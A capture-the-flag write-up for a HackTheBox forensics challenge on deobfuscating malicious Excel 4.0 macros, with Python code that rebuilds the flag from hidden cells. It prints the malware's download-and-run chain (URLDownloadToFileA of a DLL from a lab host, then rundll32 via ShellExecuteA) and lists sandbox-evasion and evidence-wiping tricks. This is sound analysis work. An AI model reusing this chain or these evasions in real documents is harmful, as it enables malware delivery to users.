forensicsfreemedium

oBfsC4t10n2

hackthebox

Task: analyze a malicious .xls file with obfuscated Excel 4.0 (XLM) macros on a very hidden sheet. Solution: use olevba and XLMMacroDeobfuscator to trace execution flow, then extract scattered flag characters from cells referenced by CONCATENATE formulas using xlrd2, combining three parts from the ShellExecuteA payload argument.

$ ls tags/ techniques/
xlm_macro_emulationolevba_analysisxlm_deobfuscationcell_value_extractionscattered_data_reconstructionvery_hidden_sheet_detection

oBfsC4t10n2 — HackTheBox

Description

The challenge provides a password-protected ZIP (hackthebox) containing oBfsC4t10n2.xls — a Composite Document File V2 (OLE format Excel file). The document uses Excel 4.0 (XLM) macros — a legacy macro format predating VBA — with heavy obfuscation and anti-analysis techniques. Author metadata shows 0xdf.

Analysis

Step 1: Initial Recon

file oBfsC4t10n2.xls # Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, # Code page: 1252, Author: 0xdf

The file is an OLE-format Excel workbook (.xls), not the modern OOXML format (.xlsx/.xlsm). This is significant because Excel 4.0 macros can only exist in the old binary format.

Step 2: Identify Excel 4.0 (XLM) Macros

Using olevba to scan for macros:

olevba oBfsC4t10n2.xls

Key findings from olevba output:

  • No VBA macros — this is NOT a VBA document
  • BOUNDSHEET: Excel 4.0 macro sheet, very hidden - c1zB0vasN — a macro sheet hidden at the deepest level (not visible even via right-click "Unhide")
  • BOUNDSHEET: worksheet or dialog sheet, visible - invoic — the visible decoy sheet
  • Auto_Open defined name pointing to invoic!N545 — execution entry point
  • Named ranges: agawf23f, KsshpqC4Mo, Lsl23Us7a, rstegerg3 — all pointing to various cells in the hidden sheet

Step 3: XLM Macro Deobfuscation

Installed and ran XLMMacroDeobfuscator to emulate the XLM macros:

pip3 install xlmmacrodeobfuscator xlmdeobfuscator --file oBfsC4t10n2.xls

The deobfuscated execution flow reveals a sophisticated multi-stage payload:

  1. N545: WORKBOOK.HIDE("c1zB0vasNO",TRUE) — hides the macro sheet at runtime
  2. N546: GET.WORKSPACE(1) — retrieves OS information string
  3. N547: Checks if running on Windows, otherwise calls CLOSE(FALSE) to abort
  4. D8: IF(GET.WORKSPACE(42), CONCATENATE(E394,F1194,F549,E635,O697,U208,T458,M868,Z4,U777), ...) — constructs first flag fragment from cells scattered across the sheet; branches on sound capability (sandbox detection)
  5. D9: GET.WORKSPACE(13) — retrieves screen width in pixels
  6. D10 → C1300 → Q222: GOTO chain jumping between distant cells; checks GET.WORKSPACE(19) (mouse presence — another sandbox indicator)
  7. T698: Checks if screen width < 700 pixels (sandbox/VM detection — real monitors are wider)
  8. D1337: Additional sandbox check
  9. D1023: IF(ISNUMBER(SEARCH("6.1",N546)), CONCATENATE(Z699,L932,...), CONCATENATE(A699,E932,...)) — constructs second flag fragment, branching on Windows version (6.1 = Windows 7)
  10. R1186–R1192: The actual payload execution:
    • GET.WORKSPACE(1) and check for "7.0"
    • CreateDirectoryA("C:\rncwner") and CreateDirectoryA("C:\rncwner\CkkYKlI")
    • URLDownloadToFileA downloads from http://0b.htb/s.dll to C:\rncwner\CkuiQhTXx.dll
    • ShellExecuteA runs rundll32.exe with the DLL and an entry point constructed from D8 + middle literal + D1023
  11. A1338: FORMULA.FILL("a", A1:Z1337)evidence destruction — overwrites all 1337×26 cells with "a"
  12. A1339: HALT() — stops macro execution

Step 4: Extract Cell Values to Reconstruct Flag

The flag characters are scattered across hundreds of cells in the very hidden sheet. Used xlrd2 to read the actual cell values before the FORMULA.FILL destruction would wipe them:

import xlrd2 as xlrd wb = xlrd.open_workbook('oBfsC4t10n2.xls') sh = wb.sheet_by_name('c1zB0vasNo') def col_to_idx(col_letter): result = 0 for c in col_letter.upper(): result = result * 26 + (ord(c) - ord('A') + 1) return result - 1 def get_cell(col_letter, row_num): col_idx = col_to_idx(col_letter) row_idx = row_num - 1 val = sh.cell_value(row_idx, col_idx) return str(val) if val != '' else '' # D8 TRUE branch: CONCATENATE(E394,F1194,F549,E635,O697,U208,T458,M868,Z4,U777) cells_d8 = [ ('E',394), ('F',1194), ('F',549), ('E',635), ('O',697), ('U',208), ('T',458), ('M',868), ('Z',4), ('U',777) ] d8 = ''.join(get_cell(c, r) for c, r in cells_d8) print(f"D8 = '{d8}'") # Result: ' HTB{n0w_e' # D1023 TRUE branch (Win 6.1): CONCATENATE(Z699,L932,J1190,C574,J644,A718,E813) cells_d1023 = [ ('Z',699), ('L',932), ('J',1190), ('C',574), ('J',644), ('A',718), ('E',813) ] d1023 = ''.join(get_cell(c, r) for c, r in cells_d1023) print(f"D1023 = '{d1023}'") # Result: 'cr0s_r_b4cK' # Middle part: literal string from ShellExecuteA argument between D8 and D1023 references middle = "Xc3l_4.0_M4" flag = d8.strip() + middle + d1023 + "}" print(f"Flag: {flag}")

The ShellExecuteA call at R1191 constructs the rundll32 argument as: DLL_path + D8_value + Xc3l_4.0_M4 + D1023_value + }

Where D8 and D1023 are resolved from the CONCATENATE formulas referencing scattered cells.

Solution

#!/usr/bin/env python3 """ oBfsC4t10n2 — HackTheBox Forensics Challenge Solution Excel 4.0 (XLM) macro deobfuscation and flag reconstruction """ import xlrd2 as xlrd wb = xlrd.open_workbook('oBfsC4t10n2.xls') sh = wb.sheet_by_name('c1zB0vasNo') def col_to_idx(col_letter): """Convert Excel column letter(s) to 0-based index""" result = 0 for c in col_letter.upper(): result = result * 26 + (ord(c) - ord('A') + 1) return result - 1 def get_cell(col_letter, row_num): """Read cell value by Excel-style reference (e.g., 'E', 394)""" col_idx = col_to_idx(col_letter) row_idx = row_num - 1 val = sh.cell_value(row_idx, col_idx) return str(val) if val != '' else '' # Part 1: D8 TRUE branch # CONCATENATE(E394, F1194, F549, E635, O697, U208, T458, M868, Z4, U777) cells_d8 = [ ('E',394), ('F',1194), ('F',549), ('E',635), ('O',697), ('U',208), ('T',458), ('M',868), ('Z',4), ('U',777) ] d8 = ''.join(get_cell(c, r) for c, r in cells_d8) # Part 2: Middle literal from ShellExecuteA argument middle = "Xc3l_4.0_M4" # Part 3: D1023 TRUE branch (Windows 6.1 path) # CONCATENATE(Z699, L932, J1190, C574, J644, A718, E813) cells_d1023 = [ ('Z',699), ('L',932), ('J',1190), ('C',574), ('J',644), ('A',718), ('E',813) ] d1023 = ''.join(get_cell(c, r) for c, r in cells_d1023) # Reconstruct flag flag = d8.strip() + middle + d1023 + "}" print(f"Flag: {flag}") # HTB{n0w_eXc3l_4.0_M4cr0s_r_b4cK}

Anti-Analysis Techniques

This document employs 8 distinct anti-analysis techniques:

  1. Very hidden sheet — the macro sheet c1zB0vasN is set to "very hidden" (type 2), not visible even via right-click Unhide in Excel; requires VBA editor or hex editing to reveal
  2. Environment fingerprintingGET.WORKSPACE() calls check OS (1), screen width (13), mouse presence (19), and sound capability (42)
  3. Sandbox detection — screen width < 700px check catches headless VMs and sandboxes with minimal display
  4. Mouse presence checkGET.WORKSPACE(19) detects automated environments without mouse input
  5. Scattered data storage — flag characters distributed across 1337 rows x 26 columns, requiring full sheet parsing
  6. Conditional branching — different CONCATENATE paths based on Windows version (6.1 = Win7 vs others)
  7. Evidence destructionFORMULA.FILL("a", A1:Z1337) overwrites all cells after payload execution
  8. GOTO chains — execution jumps between distant cells (D10 → C1300 → Q222) to confuse static analysis
  9. Time delaysON.TIME with 2-second delays between stages to evade time-limited sandboxes

Key Indicators

This technique is useful when:

  • Analyzing .xls files (OLE format, not OOXML) with no VBA macros but suspicious behavior
  • olevba reports BOUNDSHEET: Excel 4.0 macro sheet — confirms XLM macros
  • Sheet visibility is "very hidden" (type 2) — strong indicator of malicious intent
  • Auto_Open or Auto_Close defined names point to unexpected cells
  • Multiple GET.WORKSPACE() calls indicate environment fingerprinting
  • CALL() function references WinAPI functions like URLDownloadToFileA, ShellExecuteA, CreateDirectoryA
  • FORMULA.FILL used to overwrite large cell ranges (evidence destruction)
  • Named ranges with random-looking names (agawf23f, KsshpqC4Mo)

Tools Used

  • olevba (oletools): Initial macro detection, BOUNDSHEET enumeration, XLM record parsing
  • XLMMacroDeobfuscator: XLM macro emulation engine — traces execution flow, resolves GOTO chains, evaluates IF conditions
  • xlrd2: Python library for reading .xls binary format — direct cell value extraction from hidden sheets
  • Python 3: Scripting for cell reference resolution and flag reconstruction

References

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups